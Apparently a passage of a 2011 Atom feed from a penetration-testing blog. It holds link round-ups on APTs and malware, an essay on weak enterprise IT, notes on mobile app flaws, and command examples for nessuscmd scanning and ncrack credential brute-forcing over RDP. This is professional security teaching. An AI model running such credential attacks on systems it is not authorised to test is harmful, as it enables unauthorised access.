href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6961490195191900404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6961490195191900404'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/weekly-thats-interesting-wrap-up-18-nov.html' title='Weekly &quot;That&apos;s Interesting&quot; Wrap-Up 18 Nov 2011'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-286442384903019080</id><published>2011-11-11T21:30:00.000-05:00</published><updated>2011-11-11T11:28:55.513-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wrap-up'/><title type='text'>Weekly "That's Interesting" Wrap-Up 11 Nov 2011</title><content type='html'>Intersystems Cache Database&lt;br /&gt;&lt;br /&gt;I know, had never heard of it either. But here are some commands so you can enum some version and other system type infoz:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://docs.intersystems.com/cache20111/csp/docbook/DocBook.UI.Page.cls?KEY=RSQL_cosvariables"&gt;http://docs.intersystems.com/cache20111/csp/docbook/DocBook.UI.Page.cls?KEY=RSQL_cosvariables&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hacking Satellites&lt;br /&gt;&lt;a href="http://www.dailymail.co.uk/news/article-2055311/Hackers-infiltrate-US-satellites-taken-complete-control-achieving-steps-required-command-satellite.html"&gt;http://www.dailymail.co.uk/news/article-2055311/Hackers-infiltrate-US-satellites-taken-complete-control-achieving-steps-required-command-satellite.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally a decent APT article&lt;br /&gt;&lt;a href="http://krebsonsecurity.com/2011/10/chasing-apt-persistence-pays-off/"&gt;http://krebsonsecurity.com/2011/10/chasing-apt-persistence-pays-off/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;decent APT advice&lt;br /&gt;&lt;a href="http://blog.deepsec.net/?p=684"&gt;http://blog.deepsec.net/?p=684&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Joe McCray made an APT resource&lt;br /&gt;&lt;a href="http://advanced-persistent-threat.com/"&gt;http://advanced-persistent-threat.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;More Duqu stuff &lt;a href="http://www.securelist.com/en/blog/208193243/The_Duqu_Saga_Continues_Enter_Mr_B_Jason_and_TVs_Dexter"&gt;http://www.securelist.com/en/blog/208193243/The_Duqu_Saga_Continues_Enter_Mr_B_Jason_and_TVs_Dexter&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-286442384903019080?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/286442384903019080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=286442384903019080' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/286442384903019080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/286442384903019080'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/10/weekly-thats-interesting-wrap-up-011.html' title='Weekly &quot;That&apos;s Interesting&quot; Wrap-Up 11 Nov 2011'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5730619015576440235</id><published>2011-11-10T12:37:00.005-05:00</published><updated>2011-11-10T14:17:02.404-05:00</updated><title type='text'>Lets Get Real</title><content type='html'>&lt;div&gt;&lt;p&gt;We work in a variety of large environments, networks from 30k hosts up to 100k hosts and like many of you one of our jobs is to provide security advice to our customers. In the infosec industry many times this advice involves recommending things like patching, AV selection, FW rules, SEIMs, reverse engineering tools, app review, etc. (and most often purchasing more assessments ;)&lt;/p&gt;&lt;p&gt;However what we are finding most often is many places aren't even ready to deal with implementing advanced security as their basic IT operations are not in order. How many times have you pen tested a customer and heard "oh yeh that belongs to the desktop support group, good luck getting anything done there"?&lt;/p&gt;&lt;p&gt;Many times we have generated a number of serious alerts on a sensitive server including the use of stolen cached domain admin credentials, password dumping tools and even rebooting the server itself. We will see a ticket generated in the support system, an admin looks at the sever, fills out the ticket and says: "AV caught the attempt and the server came back up fine" ticket closed. Often users won't report anything suspicious, even when our actions are blatant, because they are so accustomed to everything being broken and unstable.&lt;/p&gt;&lt;p&gt;Beyond automating patch Tuesday and keeping AV up to date, and definitely beyond exploits, memory protections and reverse engineering, the most serious problem in security is that organizations lack even basic capabilities in managing their enterprises. Who's running still running XP SP2 (a vastly less secure OS than Win7) because of the expense involved in updating the enterprise? Businesses need security help that is willing to negotiate the maze of business concerns and understand enterprise IT needs in addition to being technically astute in security.&lt;/p&gt;&lt;p&gt;We've been to large companies where getting a network port to plug into to start testing can take 2 weeks. Where finding someone who understands how servers are configured or even how many servers there are can be a challenge. Environments that don't know what computers are on their own networks. Sure security needs to be built into the whole process, but I wonder, have we focused too much on what we want to do and not enough on what the customer's actually need?&lt;/p&gt;&lt;p&gt;Its not sexy or headline generating work, but little is more critical.&lt;/p&gt;&lt;p&gt;Val &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5730619015576440235?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5730619015576440235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5730619015576440235' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5730619015576440235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5730619015576440235'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/lets-get-real.html' title='Lets Get Real'/><author><name>valsmith</name><uri>http://www.blogger.com/profile/08392905099646494750</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-3091364342681019548</id><published>2011-11-02T08:46:00.000-04:00</published><updated>2011-11-05T14:18:33.933-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Common mobile app vulnerabilities</title><content type='html'>After testing a fair number of mobile applications I thought I would share 3 of the most common vulnerabilities I've come across thus far. In regards to scope, when referring to "mobile applications", we really mean both the mobile application &lt;i&gt;and&lt;/i&gt;&amp;nbsp;the web-service.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;"Hide-a-key-in-a-neon-pink-plastic-rock-next-to-the-front-door" storage:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;This appears to be the most prevelant issue by far that I've come across. Insecure implementations include:&lt;br /&gt;&lt;br /&gt;1) Storing plain-text credentials in a SQLite database&lt;br /&gt;2) Storing XML files that contain plain-text credentials or other sensitive account details&lt;br /&gt;3) Storing plain-text credentials in a system wide database (e.g. - accounts.db/Android)&lt;br /&gt;&lt;br /&gt;Moral of the story is, if a mobile device is lost or stolen (happens way more often than it should), credentials are ripe for the picking. Physical access is not always required of course. Anyway, pretty much anyone who has spent 2 minutes on "The Googles" can find out where you are storing your metaphorical "house keys". There are solutions to this problem, for instance, I've heard great things about Android-SQLCipher and don't forget about platform API solutions as well (if your not a fan of third party libraries).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Crappy session handling:&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;I don't think this title will ever make its way on to an OWASP Top 10 but it certainly reflects the issue accurately. Not to say this is limited only to Mobile Apps &amp;amp; Web Services, far from it, it is just very common amongst them.&lt;br /&gt;&lt;br /&gt;Examples -&lt;br /&gt;&lt;br /&gt;So, here is a fun one, pure basic-authorization schemas . You typically see this in a &lt;i&gt;SOAP-service-to-Mobile-App&lt;/i&gt;&amp;nbsp;architecture but obviously the two aren't mutually exclusive. For those not familiar with basic-authorization, it &amp;nbsp;means the user's credentials are sent in the standard basic-auth format (Base64 encoded user:password).&amp;nbsp;The problem occurs when, instead of leveraging a session handling schema, the user/password combo is sent with every request to the web-service as a means to authenticate the user for the requested resource. There are many disadvantages. Namely, if SSL isn't in play, you've increased the likelihood that the credentials will be stolen (ahhh....... lattes, croissants and good ol' packet sniffing). Additionally, because you haven't a session to destroy, there &lt;i&gt;is&lt;/i&gt; no inactivity lock-out. Typically the creds are stored (plain-text of course) on the device, retrieved by the app and then sent in the request on a per-request basis. This means, the person on that device may not be the person you intended to view potentially sensitive information.&lt;br /&gt;&lt;br /&gt;Another big session-related issue is leveraging device identifiers or good old client-side data to control privileges of a user. Imagine the classic parameter tampering (&lt;i&gt;userid=100 &lt;/i&gt;becomes &lt;i&gt;userid=101) &lt;/i&gt;but this time with the UUID of an iPhone device. The classic session identifier -&amp;gt; user map -&amp;gt; role enforcement still works so it is unnecessary to build your schema in this way.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;API Keys, Test Accounts and Dirty Laundry&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;From test account credentials along with the test URL, which provided juicy insight into the inner workings of an architecture to the personal email addresses of developers (think - social engineering/username enumeration), the list of things put into the source code can still be fairly surprising.&lt;br /&gt;&lt;br /&gt;These applications are reversible. Especially Android apps, between dex2jar/apktool/jd-gui.......its pretty easy to see things not intended for your eyes. Developers need to scrub sensitive data prior to sending the code out for production and treat data like its a public blog post......everyone can read it. Oh, and make sure you aren't hard-coding API or encryption keys!&lt;br /&gt;&lt;br /&gt;Okay, so those titles will never end up on a Top 10 but the content has! I would encourage those interested to check out the &lt;i&gt;&lt;a href="https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#tab=Top_Ten_Mobile_Risks"&gt; OWASP Mobile Top 10 Risks&lt;/a&gt;&amp;nbsp;&lt;/i&gt;and please, don't forget the project always needs additional collaborators.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ken&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-3091364342681019548?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/3091364342681019548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=3091364342681019548' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3091364342681019548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/3091364342681019548'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/common-mobile-app-vulnerabilities.html' title='Common mobile app vulnerabilities'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7844482335484825195</id><published>2011-11-01T16:22:00.004-04:00</published><updated>2011-11-01T16:31:52.067-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='nessus'/><title type='text'>nessuscmd for scanning a host with a subset of plugins</title><content type='html'>Need to check a few specifc nessus plugins against a host?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ sudo ./nessuscmd 192.168.1.92 -p80,443 -v -V -i 38157,10107&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Starting nessuscmd 4.4.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Scanning '192.168.1.92'...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;Host 192.168.1.92 is up&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;Discovered open port http (80/tcp) on 192.168.1.92&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;[i] Plugin 10107 reported a result on port http (80/tcp) of 192.168.1.92&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;[i] Plugin 38157 reported a result on port http (80/tcp) of 192.168.1.92&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;+ Results found on 192.168.1.92&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;+ - Port http (80/tcp) is open &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;[i] Plugin ID 38157 Synopsis : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;The remote web server contains a document sharing software Description : The remote web server is running SharePoint, a web interface for document management. As this interface is likely to contain sensitive information, make sure only authorized personel can log into this site See also : &lt;a href="http://www.microsoft.com/Sharepoint/default.mspx"&gt;http://www.microsoft.com/Sharepoint/default.mspx&lt;/a&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;Solution : Make sure the proper access controls are put in place &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;Risk factor : None &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;Plugin output : The following instance of SharePoint was detected on the remote host : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;Version : 12.0.0.6327 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;URL : http://192.168.1.92/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;looks like the functionality has been there for awhile:&lt;br /&gt;&lt;a href="http://blog.tenablesecurity.com/2007/07/nessus-32-beta-.html"&gt;http://blog.tenablesecurity.com/2007/07/nessus-32-beta-.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7844482335484825195?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7844482335484825195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7844482335484825195' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7844482335484825195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7844482335484825195'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/nessuscmd-for-scanning-host-with-subset.html' title='nessuscmd for scanning a host with a subset of plugins'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7030536351192057388</id><published>2011-10-15T10:08:00.002-04:00</published><updated>2011-10-22T21:30:37.207-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wrap-up'/><title type='text'>Weekly "That's Interesting" Wrap-Up 21 Oct 2011</title><content type='html'>TEDxRotterdam - Mikko Hypponen - safe internet will lead the future&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://youtu.be/WQgeUHlTThc"&gt;http://youtu.be/WQgeUHlTThc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Similar to his other TED talk but worth the 20min. Its good up to "fixing things". Not sure I agree with his "fixes". I do agree with a more unified way to fight/arrest/ cyber criminals, but bottom line its still way too easy to break into stuff and still to easy to conduct Credit Card fraud. We need to adress some of that as well.&lt;br /&gt;&lt;br /&gt;Also, I think plenty of people would disagree that anything Mac is "safe" because of market share.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;OMG OMG OMG Stuxnet Part 2 or the parent of stuxnet or whatever&lt;br /&gt;&lt;a href="http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"&gt;http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Samples:&lt;br /&gt;&lt;a href="http://contagiodump.blogspot.com/2011/10/duqu-rat-trojan-precursor-to-next.html"&gt;http://contagiodump.blogspot.com/2011/10/duqu-rat-trojan-precursor-to-next.html&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Volatility Memory Forensics Federal Trojan aka R2D2&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.evild3ad.com/?p=1136"&gt;http://www.evild3ad.com/?p=1136&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7030536351192057388?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7030536351192057388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7030536351192057388' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7030536351192057388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7030536351192057388'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/10/weekly-thats-interesting-wrap-up-21-oct.html' title='Weekly &quot;That&apos;s Interesting&quot; Wrap-Up 21 Oct 2011'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5747516157154781615</id><published>2011-10-07T15:01:00.007-04:00</published><updated>2011-10-15T10:08:09.984-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wrap-up'/><title type='text'>Weekly "That's Interesting" Wrap-Up 14 Oct 2011</title><content type='html'>Bios Rootkits (mebromi)&lt;br /&gt;&lt;a href="http://blog.webroot.com/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/"&gt;http://blog.webroot.com/2011/09/13/mebromi-the-first-bios-rootkit-in-the-wild/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apache reverse proxy (mod-rewrite) bypass vuln details&lt;br /&gt;&lt;a href="http://www.contextis.com/research/blog/reverseproxybypass/"&gt;http://www.contextis.com/research/blog/reverseproxybypass/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;CCC Analyzes government malware (In German, go go gadget google translate)&lt;br /&gt;&lt;a href="http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf"&gt;http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://m.zdnet.com/blog/hardware/can-you-trust-your-antivirus-solution-to-protect-you-against-governmental-backdoors-and-lawful-interception-police-trojans/15280"&gt;http://m.zdnet.com/blog/hardware/can-you-trust-your-antivirus-solution-to-protect-you-against-governmental-backdoors-and-lawful-interception-police-trojans/15280&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tips for evading AV during Pentests&lt;br /&gt;&lt;a href="http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing"&gt;http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Check out the conversation between Dave Kennedy and Rafal Los on CSOs, popping shells, #secBiz from 13 Oct&lt;br /&gt;&lt;a href="https://twitter.com/#!/dave_rel1k"&gt;https://twitter.com/#!/dave_rel1k&lt;/a&gt;&lt;br /&gt;&lt;a href="https://twitter.com/#!/Wh1t3Rabbit"&gt;https://twitter.com/#!/Wh1t3Rabbit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Lastly, from the "no more free bugs" and "hey companies, this is NOT how you behave to people that report vulns" categories&lt;br /&gt;&lt;br /&gt;"Security researcher threatened with vulnerability repair bill"&lt;br /&gt;&lt;a href="http://www.scmagazine.com.au/News/276780,security-researcher-threatened-with-vulnerability-repair-bill.aspx"&gt;http://www.scmagazine.com.au/News/276780,security-researcher-threatened-with-vulnerability-repair-bill.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5747516157154781615?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5747516157154781615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5747516157154781615' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5747516157154781615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5747516157154781615'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/10/weekly-thats-interesting-wrap-up-14-oct.html' title='Weekly &quot;That&apos;s Interesting&quot; Wrap-Up 14 Oct 2011'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8533817721721622443</id><published>2011-10-06T22:10:00.006-04:00</published><updated>2011-10-07T11:17:18.397-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wrap-up'/><title type='text'>Weekly "That's Interesting" Wrap-Up 7 Oct 2011</title><content type='html'>i'm probably gonna fail miserably at regularly posting anything but F it, im motivated right now and that's what matters.&lt;br /&gt;&lt;br /&gt;So interesting stuff this week.&lt;br /&gt;&lt;br /&gt;DerbyCon videos are slowly being posted. they're here:&lt;br /&gt;&lt;a href="http://www.irongeek.com/i.php?page=videos/derbycon1/mainlist"&gt;http://www.irongeek.com/i.php?page=videos/derbycon1/mainlist&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Specifically, watch Chris Nickerson's talk. Its funny and has a point.&lt;br /&gt;&lt;a href="http://www.irongeek.com/i.php?page=videos/derbycon1/chris-nickerson-compliance-an-assault-on-reason"&gt;http://www.irongeek.com/i.php?page=videos/derbycon1/chris-nickerson-compliance-an-assault-on-reason&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So far i've watched Carlos Perez's and Rick Redman's, both were good. Caught most of jadedsecurity's on track2, also good.&lt;br /&gt;&lt;br /&gt;SK Hack by an Advanced Persistent Threat&lt;br /&gt;&lt;a href="http://www.commandfive.com/papers/C5_APT_SKHack.pdf"&gt;http://www.commandfive.com/papers/C5_APT_SKHack.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Coldfusion is interesting to me, specially with the tight java intergration. You can do alot with it. The future of coldfusion from ColdFusionJedi&lt;br /&gt;&lt;a href="http://www.coldfusionjedi.com/index.cfm/2011/10/4/My-MAX-Preso--the-future-of-ColdFusion"&gt;http://www.coldfusionjedi.com/index.cfm/2011/10/4/My-MAX-Preso--the-future-of-ColdFusion&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The rest of the stuff that was interesting is shared via google reader:&lt;br /&gt;&lt;a href="http://www.google.com/reader/shared/carnal0wnage"&gt;http://www.google.com/reader/shared/carnal0wnage&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8533817721721622443?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8533817721721622443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8533817721721622443' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8533817721721622443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8533817721721622443'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/10/weekly-thats-interesting-wrap-up-7-oct.html' title='Weekly &quot;That&apos;s Interesting&quot; Wrap-Up 7 Oct 2011'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2038165973738453087</id><published>2011-09-30T07:11:00.003-04:00</published><updated>2011-09-30T07:14:47.997-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ncrack'/><title type='text'>ncrack with domain creds</title><content type='html'>little post on using ncrack to brute/check domain creds&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;user@ubuntu:~/pentest/msf3$ ncrack 192.168.1.52:3389,CL=2 --user=username@domain --pass=myl33tpassword -vvv -d7&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-09-29 14:48 PDT&lt;br /&gt;&lt;br /&gt;rdp://192.168.1.52:3389 Account credentials are valid, however, the maximum number of terminal services connections has been reached.&lt;br /&gt;Discovered credentials on rdp://192.168.1.52:3389 'username@domain' 'myl33tpassword'&lt;br /&gt;rdp://192.168.1.52:3389 (EID 1) Attempts: total 1 completed 1 supported 1 --- rate 0.90&lt;br /&gt;rdp://192.168.1.52:3389 finished.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2038165973738453087?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2038165973738453087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2038165973738453087' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2038165973738453087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2038165973738453087'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/09/ncrack-with-domain-creds.html' title='ncrack with domain creds'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' 